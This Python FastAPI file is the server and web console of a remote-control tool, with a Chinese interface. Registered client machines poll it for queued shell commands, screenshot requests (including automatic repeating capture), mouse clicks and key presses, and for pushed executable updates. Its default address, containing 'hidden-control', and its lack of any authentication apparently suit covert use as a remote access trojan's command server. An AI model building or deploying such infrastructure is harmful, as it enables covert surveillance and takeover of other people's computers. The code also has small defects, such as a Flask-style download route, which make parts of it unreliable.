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#!/usr/bin/env python3
import os
import sqlite3
import uuid
import json
import glob
from datetime import datetime
from fastapi import FastAPI, Request, UploadFile, File, Form, HTTPException
from fastapi.responses import HTMLResponse, FileResponse
from fastapi.middleware.cors import CORSMiddleware
from fastapi.staticfiles import StaticFiles
from fastapi.templating import Jinja2Templates
from typing import Optional
import aiofiles

app = FastAPI()

app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],
    allow_credentials=True,
    allow_methods=["*"],
    allow_headers=["*"],
)

DB_PATH = os.environ.get('DB_PATH', '/tmp/data.db')
UPLOAD_DIR = os.environ.get('UPLOAD_DIR', '/tmp/uploads')

os.makedirs(f'{UPLOAD_DIR}/screenshots', exist_ok=True)
os.makedirs(f'{UPLOAD_DIR}/files', exist_ok=True)

def init_db():
    conn = sqlite3.connect(DB_PATH)
    c = conn.cursor()
    c.execute('''
        CREATE TABLE IF NOT EXISTS clients (
            id TEXT PRIMARY KEY,
            name TEXT,
            status TEXT DEFAULT 'offline',
            last_seen TEXT,
            version TEXT,
            os TEXT,
            ip TEXT
        )
    ''')
    c.execute('''
        CREATE TABLE IF NOT EXISTS commands (
            id TEXT PRIMARY KEY,
            client_id TEXT,
            type TEXT,
            payload TEXT,
            status TEXT DEFAULT 'pending',
            result TEXT,
            created_at TEXT,
            FOREIGN KEY(client_id) REFERENCES clients(id)
        )
    ''')
    c.execute('''
        CREATE TABLE IF NOT EXISTS files (
            id TEXT PRIMARY KEY,
            client_id TEXT,
            filename TEXT,
            size INTEGER,
            uploaded_at TEXT,
            FOREIGN KEY(client_id) REFERENCES clients(id)
        )
    ''')
    c.execute('''
        CREATE TABLE IF NOT EXISTS configs (
            key TEXT PRIMARY KEY,
            value TEXT,
            updated_at TEXT
        )
    ''')
    conn.commit()
    conn.close()

def get_db():
    conn = sqlite3.connect(DB_PATH)
    conn.row_factory = sqlite3.Row
    return conn

init_db()

HTML_CONTENT = '''<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>远程控制台</title>
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif; background: #1a1a2e; color: #eee; min-height: 100vh; }
        .container { max-width: 1400px; margin: 0 auto; padding: 20px; }
        h1 { text-align: center; margin-bottom: 30px; color: #00d9ff; }
        .clients-section { margin-bottom: 30px; }
        .section-title { font-size: 1.2em; margin-bottom: 15px; color: #aaa; }
        .clients-grid { display: grid; grid-template-columns: repeat(auto-fill, minmax(280px, 1fr)); gap: 15px; }
        .client-card { background: #16213e; border-radius: 10px; padding: 15px; border: 1px solid #0f3460; cursor: pointer; transition: all 0.3s; }
        .client-card:hover { border-color: #00d9ff; }
        .client-card.selected { border-color: #00d9ff; background: #1f4068; }
        .client-card.offline { opacity: 0.5; }
        .client-name { font-size: 1.1em; font-weight: bold; margin-bottom: 8px; }
        .client-info { font-size: 0.85em; color: #888; }
        .client-status { display: inline-block; padding: 2px 8px; border-radius: 4px; font-size: 0.8em; margin-top: 8px; }
        .status-online { background: #00d9ff22; color: #00d9ff; }
        .status-offline { background: #ff6b6b22; color: #ff6b6b; }
        .panel { background: #16213e; border-radius: 10px; padding: 20px; border: 1px solid #0f3460; display: none; flex-direction: column; flex: 1; min-height: 600px; }
        .panel.active { display: flex; }
        .tab-content { display: none; flex-direction: column; flex: 1; min-height: 0; }
        .tab-content.active { display: flex; flex: 1; }
        .screenshot-view { flex: 1; display: flex; align-items: center; justify-content: center; background: #000; overflow: hidden; }
        .screenshot-view img { max-width: 100%; max-height: 100%; object-fit: contain; }
        .tabs { display: flex; gap: 10px; margin-bottom: 20px; border-bottom: 1px solid #0f3460; padding-bottom: 10px; flex-wrap: wrap; }
        .tab { padding: 8px 16px; border-radius: 5px; cursor: pointer; background: transparent; border: none; color: #888; transition: all 0.3s; }
        .tab:hover { color: #00d9ff; }
        .tab.active { background: #00d9ff; color: #1a1a2e; }
        .command-input { display: flex; gap: 10px; margin-bottom: 15px; flex-wrap: wrap; }
        .command-input input { flex: 1; min-width: 200px; padding: 10px; border-radius: 5px; border: 1px solid #0f3460; background: #1a1a2e; color: #eee; }
        .btn { padding: 10px 20px; border-radius: 5px; border: none; cursor: pointer; background: #00d9ff; color: #1a1a2e; font-weight: bold; }
        .btn:hover { opacity: 0.9; }
        .btn-danger { background: #ff6b6b; }
        .btn-success { background: #00ff88; }
        .output { background: #0a0a15; border-radius: 5px; padding: 15px; min-height: 200px; max-height: 400px; overflow-y: auto; font-family: monospace; white-space: pre-wrap; }
        .screenshot-view { text-align: center; }
        .screenshot-view img { max-width: 100%; border-radius: 5px; }
        .no-client { text-align: center; color: #666; padding: 50px; }
    </style>
</head>
<body>
    <div class="container">
        <h1>远程控制台</h1>
        <div class="clients-section">
            <div class="section-title">在线客户端</div>
            <div class="clients-grid" id="clientsGrid"></div>
        </div>
        <div class="panel" id="controlPanel">
            <div class="tabs">
                <button class="tab active" data-tab="shell">Shell</button>
                <button class="tab" data-tab="screenshot">截图</button>
                <button class="tab" data-tab="control">远程控制</button>
            </div>
            <div class="tab-content" id="tab-shell">
                <div class="command-input">
                    <input type="text" id="commandInput" placeholder="输入命令...">
                    <button class="btn" onclick="sendCommand()">执行</button>
                </div>
                <div class="output" id="commandOutput">等待命令...</div>
            </div>
            <div class="tab-content" id="tab-screenshot" style="display:none;">
                <div class="screenshot-settings" style="background:#0a0a15;padding:10px;border-radius:5px;margin-bottom:10px;">
                    <div class="command-input" style="margin-bottom:10px;">
                        <button class="btn" onclick="requestScreenshot()">获取截图</button>
                        <input type="number" id="screenInterval" value="3" min="1" max="60" style="width:50px;padding:8px;border-radius:5px;border:1px solid #0f3460;background:#1a1a2e;color:#eee;">
                        <span style="color:#888;">秒间隔</span>
                        <button class="btn btn-success" id="btnAutoScreen" onclick="toggleAutoScreenshot()">自动连续</button>
                        <button class="btn btn-danger" id="btnStopScreen" onclick="stopAutoScreenshot()" style="display:none;">停止</button>
                    </div>
                    <div class="command-input">
                        <label style="color:#888;margin-right:10px;">
                            <input type="checkbox" id="clickAutoRefresh" checked> 点击后自动刷新
                        </label>
                        <span style="color:#888;margin:0 10px;">点击类型:</span>
                        <label style="color:#00d9ff;margin-right:10px;">
                            <input type="radio" name="clickButton" value="left" checked> 左键
                        </label>
                        <label style="color:#00d9ff;">
                            <input type="radio" name="clickButton" value="right"> 右键
                        </label>
                    </div>
                </div>
                <div class="screenshot-view" id="screenshotView" style="flex:1;background:#000;display:flex;align-items:center;justify-content:center;overflow:hidden;"></div>
            </div>
            <div class="tab-content" id="tab-control" style="display:none;">
                <p style="color:#888;margin-bottom:15px;">远程控制</p>
                <div class="command-input">
                    <button class="btn" onclick="sendMouseClick('left')">左键</button>
                    <button class="btn" onclick="sendMouseClick('right')">右键</button>
                    <input type="text" id="keyInput" placeholder="按键" style="flex:0.5;min-width:150px;">
                    <button class="btn" onclick="sendKeyPress()">发送</button>
                </div>
            </div>
        </div>
        <div class="no-client" id="noClient">请选择一个客户端</div>
    </div>
    <script>
        let selectedClient = null;
        let pollInterval = null;
        const API_BASE = '';
        
        async function loadClients() {
            try {
                const resp = await fetch('/api/clients');
                const clients = await resp.json();
                const grid = document.getElementById('clientsGrid');
                grid.innerHTML = clients.length ? '' : '<p style="color:#666;">暂无在线客户端</p>';
                clients.forEach(client => {
                    const card = document.createElement('div');
                    card.className = 'client-card' + (client.status === 'offline' ? ' offline' : '');
                    card.onclick = () => selectClient(client);
                    const lastSeen = client.last_seen ? new Date(client.last_seen).toLocaleString() : 'N/A';
                    card.innerHTML = `<div class="client-name">${client.name || 'Unknown'}</div>
                        <div class="client-info">ID: ${(client.id || '').substring(0, 8)}...</div>
                        <div class="client-status ${client.status === 'online' ? 'status-online' : 'status-offline'}">${client.status}</div>
                        <div class="client-info">${lastSeen}</div>`;
                    grid.appendChild(card);
                });
            } catch(e) { console.error(e); }
        }
        
        function selectClient(client) {
            selectedClient = client;
            document.querySelectorAll('.client-card').forEach(c => c.classList.remove('selected'));
            document.querySelectorAll('.client-card').forEach(c => { if((c.innerHTML || '').includes((client.id || '').substring(0, 8))) c.classList.add('selected'); });
            document.getElementById('controlPanel').classList.add('active');
            document.getElementById('noClient').style.display = 'none';
            startPolling();
        }
        
        function startPolling() {
            if (pollInterval) clearInterval(pollInterval);
            pollInterval = setInterval(pollCommands, 2000);
        }
        
        async function pollCommands() {
            if (!selectedClient) return;
            try {
                // 心跳并获取指令
                const resp = await fetch('/api/client/heartbeat', {
                    method: 'POST', headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify({client_id: selectedClient.id})
                });
                const data = await resp.json();
                if (data.commands && data.commands.length > 0) {
                    data.commands.forEach(cmd => executeCommand(cmd));
                }
                
                // 获取最新命令结果
                const resultResp = await fetch('/api/commands?client_id=' + selectedClient.id);
                const commands = await resultResp.json();
                if (commands.length > 0) {
                    const latest = commands[0];
                    if (latest.result && latest.status === 'completed') {
                        document.getElementById('commandOutput').textContent = latest.result;
                    } else if (latest.status === 'processing') {
                        document.getElementById('commandOutput').textContent = '执行中: ' + latest.payload + '...';
                    }
                }
            } catch(e) { console.error(e); }
        }
        
        async function executeCommand(cmd) {
            document.getElementById('commandOutput').textContent = '执行: ' + cmd.payload;
            await fetch('/api/command/result', {
                method: 'POST', headers: {'Content-Type': 'application/json'},
                body: JSON.stringify({command_id: cmd.id, result: '', status: 'processing'})
            });
        }
        
        async function sendCommand() {
            const cmd = document.getElementById('commandInput').value.trim();
            if (!cmd || !selectedClient) return;
            document.getElementById('commandOutput').textContent = '发送: ' + cmd + ' (等待执行...)';
            await fetch('/api/command', {
                method: 'POST', headers: {'Content-Type': 'application/json'},
                body: JSON.stringify({client_id: selectedClient.id, type: 'shell', payload: cmd})
            });
            document.getElementById('commandInput').value = '';
        }
        
        let screenshotInterval = null;
        
        async function requestScreenshot() {
            if (!selectedClient) return;
            const container = document.getElementById('screenshotView');
            if (!screenshotImgElement) {
                container.innerHTML = '<p style="color:#888;">获取中...</p>';
            }
            await fetch('/api/command', {
                method: 'POST', headers: {'Content-Type': 'application/json'},
                body: JSON.stringify({client_id: selectedClient.id, type: 'screenshot', payload: ''})
            });
            setTimeout(loadScreenshot, 2000);
        }
        
        let screenshotImgElement = null;
        
        async function loadScreenshot() {
            if (!selectedClient) return;
            const t = Date.now();
            const container = document.getElementById('screenshotView');
            
            if (screenshotImgElement) {
                screenshotImgElement.src = `/api/screenshots/${selectedClient.id}?t=${t}`;
            } else {
                container.innerHTML = `<img id="screenshotImg" style="max-width:100%;max-height:100%;object-fit:contain;cursor:crosshair;">`;
                screenshotImgElement = document.getElementById('screenshotImg');
                screenshotImgElement.src = `/api/screenshots/${selectedClient.id}?t=${t}`;
                
                screenshotImgElement.onclick = function(e) {
                    const rect = this.getBoundingClientRect();
                    const x = Math.round((e.clientX - rect.left) * (this.naturalWidth / rect.width));
                    const y = Math.round((e.clientY - rect.top) * (this.naturalHeight / rect.height));
                    
                    const clickButton = document.querySelector('input[name="clickButton"]:checked').value;
                    sendMouseClickAt(x, y, clickButton);
                    
                    if (document.getElementById('clickAutoRefresh').checked) {
                        setTimeout(loadScreenshot, 500);
                    }
                };
            }
        }
        
        async function sendMouseClickAt(x, y, button) {
            if (!selectedClient) return;
            await fetch('/api/command', {
                method: 'POST', headers: {'Content-Type': 'application/json'},
                body: JSON.stringify({client_id: selectedClient.id, type: 'mouse_click', payload: JSON.stringify({button: button, x: x, y: y})})
            });
            document.getElementById('commandOutput').textContent = `鼠标${button}键点击: (${x}, ${y})`;
        }
        
        function startAutoScreenshot() {
            if (screenshotInterval) return;
            const interval = (parseInt(document.getElementById('screenInterval').value) || 3) * 1000;
            screenshotInterval = setInterval(async () => {
                if (!selectedClient) {
                    stopAutoScreenshot();
                    return;
                }
                await fetch('/api/command', {
                    method: 'POST', headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify({client_id: selectedClient.id, type: 'screenshot', payload: ''})
                });
                setTimeout(loadScreenshot, 1000);
            }, interval);
        }
        
        function stopAutoScreenshot() {
            if (screenshotInterval) {
                clearInterval(screenshotInterval);
                screenshotInterval = null;
            }
            document.getElementById('btnAutoScreen').style.display = 'inline-block';
            document.getElementById('btnStopScreen').style.display = 'none';
        }
        
        function toggleAutoScreenshot() {
            if (screenshotInterval) {
                stopAutoScreenshot();
            } else {
                startAutoScreenshot();
                document.getElementById('btnAutoScreen').style.display = 'none';
                document.getElementById('btnStopScreen').style.display = 'inline-block';
            }
        }
        
        async function sendMouseClick(button) {
            if (!selectedClient) return;
            await fetch('/api/command', {
                method: 'POST', headers: {'Content-Type': 'application/json'},
                body: JSON.stringify({client_id: selectedClient.id, type: 'mouse_click', payload: JSON.stringify({button: button, x: 0, y: 0})})
            });
        }
        
        async function sendKeyPress() {
            const key = document.getElementById('keyInput').value.trim();
            if (!key || !selectedClient) return;
            await fetch('/api/command', {
                method: 'POST', headers: {'Content-Type': 'application/json'},
                body: JSON.stringify({client_id: selectedClient.id, type: 'key_press', payload: key})
            });
        }
        
        document.querySelectorAll('.tab').forEach(tab => {
            tab.onclick = () => {
                document.querySelectorAll('.tab').forEach(t => t.classList.remove('active'));
                document.querySelectorAll('.tab-content').forEach(c => c.style.display = 'none');
                tab.classList.add('active');
                document.getElementById('tab-' + tab.dataset.tab).style.display = 'flex';
            };
        });
        
        document.getElementById('commandInput').onkeypress = e => { if (e.key === 'Enter') sendCommand(); };
        loadClients(); setInterval(loadClients, 5000);
    </script>
</body>
</html>'''

@app.get("/")
async def root():
    return HTMLResponse(content=HTML_CONTENT)

@app.post("/api/client/register")
async def register_client(request: Request):
    data = await request.json()
    client_id = data.get('id') or str(uuid.uuid4())
    name = data.get('name', 'Unknown')
    version = data.get('version', '')
    os_info = data.get('os', '')
    
    conn = get_db()
    conn.execute('''INSERT OR REPLACE INTO clients (id, name, status, last_seen, version, os, ip)
        VALUES (?, ?, 'online', ?, ?, ?, ?)''',
        (client_id, name, datetime.now().isoformat(), version, os_info, request.client.host))
    conn.commit()
    conn.close()
    
    return {'id': client_id, 'name': name, 'status': 'online'}

@app.post("/api/client/heartbeat")
async def heartbeat(request: Request):
    data = await request.json()
    client_id = data.get('client_id')
    
    conn = get_db()
    conn.execute("UPDATE clients SET last_seen = ?, status = 'online' WHERE id = ?", 
                (datetime.now().isoformat(), client_id))
    cmd = conn.execute('''SELECT id, client_id, type, payload, status FROM commands
        WHERE client_id = ? AND status = 'pending' ORDER BY created_at ASC LIMIT 1''', (client_id,)).fetchone()
    
    if cmd:
        conn.execute("UPDATE commands SET status = 'processing' WHERE id = ?", (cmd['id'],))
    
    conn.commit()
    conn.close()
    
    if cmd:
        return {'commands': [dict(cmd)]}
    return {'commands': []}

@app.post("/api/command")
async def send_command(request: Request):
    data = await request.json()
    cmd_id = str(uuid.uuid4())
    client_id = data.get('client_id')
    cmd_type = data.get('type', 'shell')
    payload = data.get('payload', '')
    
    conn = get_db()
    conn.execute('''INSERT INTO commands (id, client_id, type, payload, status, created_at)
        VALUES (?, ?, ?, ?, 'pending', ?)''',
        (cmd_id, client_id, cmd_type, payload, datetime.now().isoformat()))
    conn.commit()
    conn.close()
    
    return {'id': cmd_id, 'status': 'pending'}

@app.post("/api/command/result")
async def command_result(request: Request):
    data = await request.json()
    cmd_id = data.get('command_id')
    result = data.get('result', '')
    status = data.get('status', 'completed')
    
    conn = get_db()
    conn.execute("UPDATE commands SET result = ?, status = ? WHERE id = ?", (result, status, cmd_id))
    conn.commit()
    conn.close()
    
    return {'status': 'ok'}

@app.post("/api/screenshot")
async def upload_screenshot(client_id: str = Form(...), screenshot: UploadFile = File(...)):
    ext = os.path.splitext(screenshot.filename)[1] or '.jpg'
    filename = f'{client_id}_{int(datetime.now().timestamp())}{ext}'
    filepath = f'{UPLOAD_DIR}/screenshots/{filename}'
    
    content = await screenshot.read()
    async with aiofiles.open(filepath, 'wb') as f:
        await f.write(content)
    
    conn = get_db()
    conn.execute("UPDATE clients SET last_seen = ? WHERE id = ?", (datetime.now().isoformat(), client_id))
    conn.commit()
    conn.close()
    
    return {'url': f'/api/screenshots/{filename}'}

@app.get("/api/screenshots/{client_id}")
async def get_screenshot(client_id: str):
    pattern = f'{UPLOAD_DIR}/screenshots/{client_id}_*'
    files = sorted(glob.glob(pattern), key=os.path.getmtime, reverse=True)
    if files:
        return FileResponse(files[0], media_type='image/jpeg')
    raise HTTPException(status_code=404, detail="No screenshot")

@app.get("/api/clients")
async def get_clients():
    conn = get_db()
    clients = conn.execute('SELECT * FROM clients ORDER BY last_seen DESC').fetchall()
    conn.close()
    return [dict(row) for row in clients]

@app.get("/api/commands")
async def get_commands(client_id: str = ""):
    if not client_id:
        return []
    conn = get_db()
    commands = conn.execute('SELECT * FROM commands WHERE client_id = ? ORDER BY created_at DESC LIMIT 10', (client_id,)).fetchall()
    conn.close()
    return [dict(row) for row in commands]

@app.get("/api/config")
async def get_config():
    return {
        'server_url': os.environ.get('SERVER_URL', 'https://profile114-hidden-control.hf.space'),
        'poll_interval': 5,
        'auto_update': True,
        'latest_version': '1.0.0',
        'download_url': ''
    }

@app.post("/api/config/update")
async def update_config(request: Request):
    data = await request.json()
    conn = get_db()
    if data.get('latest_version'):
        conn.execute('INSERT OR REPLACE INTO configs (key, value, updated_at) VALUES (?, ?, ?)',
            ('latest_version', data['latest_version'], datetime.now().isoformat()))
    if data.get('download_url'):
        conn.execute('INSERT OR REPLACE INTO configs (key, value, updated_at) VALUES (?, ?, ?)',
            ('download_url', data['download_url'], datetime.now().isoformat()))
    conn.commit()
    conn.close()
    return {'status': 'ok'}

# 自动更新相关API
UPDATE_DIR = os.path.join(UPLOAD_DIR, 'updates')
os.makedirs(UPDATE_DIR, exist_ok=True)

@app.get("/api/update")
async def get_update():
    version_file = os.path.join(UPDATE_DIR, 'version.json')
    if os.path.exists(version_file):
        with open(version_file, 'r') as f:
            return json.load(f)
    return {'version': '1.0.0', 'filename': '', 'url': ''}

@app.post("/api/update/check")
async def check_update(request: Request):
    data = await request.json()
    current_version = data.get('version', '0.0.0')
    
    version_file = os.path.join(UPDATE_DIR, 'version.json')
    if os.path.exists(version_file):
        with open(version_file, 'r') as f:
            info = json.load(f)
        
        latest_version = info.get('version', '0.0.0')
        needs_update = latest_version > current_version
        
        return {
            'needs_update': needs_update,
            'latest_version': latest_version,
            'filename': info.get('filename', ''),
            'url': f'/api/download/{info.get("filename", "")}'
        }
    
    return {'needs_update': False, 'latest_version': current_version}

@app.get("/api/download/<filename>")
async def download_update(filename: str):
    filepath = os.path.join(UPDATE_DIR, filename)
    if os.path.exists(filepath):
        return FileResponse(filepath, filename=filename)
    raise HTTPException(status_code=404, detail="File not found")

@app.post("/api/update/upload")
async def upload_update(version: str = Form(...), file: UploadFile = File(...)):
    filename = f"client_{version}.exe"
    filepath = os.path.join(UPDATE_DIR, filename)
    
    content = await file.read()
    async with aiofiles.open(filepath, 'wb') as f:
        await f.write(content)
    
    version_info = {'version': version, 'filename': filename}
    version_file = os.path.join(UPDATE_DIR, 'version.json')
    with open(version_file, 'w') as f:
        json.dump(version_info, f)
    
    return {'status': 'ok', 'version': version, 'filename': filename}

if __name__ == "__main__":
    import uvicorn
    uvicorn.run(app, host="0.0.0.0", port=7860)